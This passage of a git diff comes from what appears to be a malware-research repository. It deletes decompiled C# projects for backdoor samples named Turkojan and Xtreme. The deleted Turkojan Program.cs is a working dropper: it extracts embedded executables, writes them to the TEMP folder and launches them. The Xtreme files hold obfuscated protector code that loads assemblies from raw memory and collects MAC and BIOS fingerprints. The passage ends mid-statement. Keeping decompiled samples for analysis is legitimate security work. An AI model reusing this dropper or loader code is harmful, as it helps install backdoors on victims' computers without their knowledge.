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 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/AssemblyInfo.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Backdoor.Win32.Turkojan.zwh.csproj b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Backdoor.Win32.Turkojan.zwh.csproj deleted file mode 100644 index b02e365c..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Backdoor.Win32.Turkojan.zwh.csproj +++ /dev/null @@ -1,45 +0,0 @@ - - - - - Debug - AnyCPU - {3083829A-D539-47B6-9F92-592FD41698A9} - WinExe - dsdfggdfgd - 0.0.0.0 - binderstub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Backdoor.Win32.Turkojan.zwh.sln b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Backdoor.Win32.Turkojan.zwh.sln deleted file mode 100644 index 819b9917..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Backdoor.Win32.Turkojan.zwh.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dsdfggdfgd", "Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf.csproj", "{3083829A-D539-47B6-9F92-592FD41698A9}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3083829A-D539-47B6-9F92-592FD41698A9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3083829A-D539-47B6-9F92-592FD41698A9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3083829A-D539-47B6-9F92-592FD41698A9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3083829A-D539-47B6-9F92-592FD41698A9}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Program.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Program.cs deleted file mode 100644 index 596656d0..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/Program.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: binderstub.Program -// Assembly: dsdfggdfgd, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 774DF6EC-7CD7-472C-B5F5-E0E4A9820F8B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Windows.Forms; - -namespace binderstub -{ - internal class Program - { - private static void Main() - { - string[] strArray = new string[2]{ "exe", "exe" }; - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - string[] manifestResourceNames = executingAssembly.GetManifestResourceNames(); - int index = 0; - foreach (string name in manifestResourceNames) - { - if (name.IndexOf(".exe") != -1) - { - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name); - byte[] buffer = new byte[manifestResourceStream.Length]; - manifestResourceStream.Read(buffer, 0, buffer.Length); - string str = Environment.GetEnvironmentVariable("TEMP") + "\\zalali" + index.ToString() + "." + strArray[index]; - FileStream fileStream = new FileStream(str, FileMode.Create); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Dispose(); - manifestResourceStream.Dispose(); - Process.Start(str); - ++index; - } - } - Application.Exit(); - } - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/ix.exe b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/ix.exe deleted file mode 100644 index 5a7afd59..00000000 Binary files a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/ix.exe and /dev/null differ diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/ix1.exe b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/ix1.exe deleted file mode 100644 index 5a7afd59..00000000 Binary files a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf/ix1.exe and /dev/null differ diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/AssemblyInfo.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/AssemblyInfo.cs deleted file mode 100644 index b19cc14e..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCompany("")] -[assembly: CLSCompliant(true)] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/Backdoor.Win32.Xtreme.bqj.csproj b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/Backdoor.Win32.Xtreme.bqj.csproj deleted file mode 100644 index e9e6e341..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/Backdoor.Win32.Xtreme.bqj.csproj +++ /dev/null @@ -1,121 +0,0 @@ - - - - - Debug - AnyCPU - {860DCB99-BA32-478E-B035-C8833E084FAC} - WinExe - Cursor - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/Backdoor.Win32.Xtreme.bqj.sln b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/Backdoor.Win32.Xtreme.bqj.sln deleted file mode 100644 index f9532780..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/Backdoor.Win32.Xtreme.bqj.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.csproj", "{860DCB99-BA32-478E-B035-C8833E084FAC}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {860DCB99-BA32-478E-B035-C8833E084FAC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {860DCB99-BA32-478E-B035-C8833E084FAC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {860DCB99-BA32-478E-B035-C8833E084FAC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {860DCB99-BA32-478E-B035-C8833E084FAC}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/PvLogiciels/dotNetProtector/RuntimeInterop.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/PvLogiciels/dotNetProtector/RuntimeInterop.cs deleted file mode 100644 index acda17f1..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/PvLogiciels/dotNetProtector/RuntimeInterop.cs +++ /dev/null @@ -1,651 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PvLogiciels.dotNetProtector.RuntimeInterop -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using \u0081é; -using \u0082\u00BC; -using õ; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace PvLogiciels.dotNetProtector -{ - public class RuntimeInterop : IRuntime - { - internal Assembly[] ò; - internal Assembly \u0081\u00BD; - internal string \u0082\u00B4; - - private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(); - - internal RuntimeInterop() => this.ò = new Assembly[0]; - - internal unsafe Assembly \u0081â(IntPtr _param1) - { - int id = AppDomain.CurrentDomain.Id; - byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - _param1 = ptr; - int num1 = Marshal.ReadInt32(ptr); - int length1 = Marshal.ReadInt32(_param1, 4); - int length2 = Marshal.ReadInt32(_param1, 8); - IntPtr source1 = (IntPtr) (void*) (numPtr + 12); - IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12); - byte[] numArray = new byte[length1]; - byte[] destination = numArray; - int length3 = length1; - Marshal.Copy(source1, destination, 0, length3); - Assembly assembly; - if (length2 != 0) - { - byte[] rawSymbolStore = new byte[length2]; - Marshal.Copy(source2, numArray, 0, length2); - assembly = Assembly.Load(numArray, rawSymbolStore); - } - else - assembly = Assembly.Load(numArray); - Marshal.FreeCoTaskMem(_param1); - if ((object) assembly != null && num1 >= 0) - { - Type[] types = assembly.GetTypes(); - IntPtr num2 = types[types.Length - 1].TypeHandle.Value; - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id); - } - return assembly; - } - - internal static unsafe void Î(Assembly _param0) - { - string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0); - IntPtr ptr = IntPtr.Zero; - if (assemblyString != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(assemblyString); - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (!(ptr != IntPtr.Zero)) - return; - Marshal.FreeCoTaskMem(ptr); - } - - public virtual Assembly GetEntryAssembly() - { - if ((object) \u0081ê.\u0081\u0099 != null) - return \u0081ê.\u0081\u0099; - Assembly entryAssembly = Assembly.GetEntryAssembly(); - if ((object) entryAssembly != null) - { - \u0081ê.\u0081\u0099 = entryAssembly; - return entryAssembly; - } - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - \u0081ê.\u0081\u0099 = executingAssembly; - return executingAssembly; - } - - public static IRuntime InitRuntime() - { - RuntimeInterop runtimeInterop = new RuntimeInterop(); - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit); - return (IRuntime) runtimeInterop; - } - AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084); - return (IRuntime) runtimeInterop; - } - - public static void AppDomain_ProcessExit(object sender, EventArgs e) - { - GC.Collect(); - GC.WaitForPendingFinalizers(); - \u0082\u00BB.\u0081\u0086(); - } - - public virtual void NGenInitRuntime() - { - } - - public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C(); - - public virtual long GetMacAddress() => \u0082\u00BB.Ç(); - - public virtual ulong GetBiosHash() => \u0082\u00BB.Ï(); - - public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id); - - public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3) - { - IntPtr ptr = IntPtr.Zero; - if (Reserved3 != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(Reserved3); - IntPtr num1 = pReserved1.TypeHandle.Value; - int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (ptr != IntPtr.Zero) - Marshal.FreeCoTaskMem(ptr); - if (num2 == 2) - { - this.\u0081\u00BD = pReserved1.Assembly; - this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name; - int length = \u0082\u00BB.\u0081\u009B(); - if (length != 0) - { - this.ò = new Assembly[length]; - int index = 0; - if (0 < length) - { - do - { - this.ò[index] = (Assembly) null; - ++index; - } - while (index < length); - } - } - } - return num2; - } - - public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2) - { - IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size); - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2); - \u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer()); - IntPtr num = Marshal.ReadIntPtr(ptr); - string str = (string) null; - if (num != IntPtr.Zero) - { - string stringAnsi = Marshal.PtrToStringAnsi(num); - Marshal.FreeHGlobal(num); - str = stringAnsi; - } - Marshal.FreeCoTaskMem(ptr); - if (!(coTaskMemAnsi != IntPtr.Zero)) - return str; - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return str; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor) - { - int num; - if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb) - { - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey); - int num1 = usb ? 1 : 0; - int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1); - if (coTaskMemAnsi != IntPtr.Zero) - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return num2 != 0; - } - - public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2) - { - int num; - if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID, - ulong data) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey) - { - uint licenseId; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return licenseId; - } - - public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey) - { - uint num; - ulong productkeyData; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return productkeyData; - } - - public virtual unsafe IntPtr DecodeActivationString( - Assembly pReserved, - IntPtr pKeys, - IntPtr pActivationString) - { - byte* numPtr; - if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq) - { - sbyte* numPtr; - if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - IntPtr pAssemblyFile) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* config; - int num2 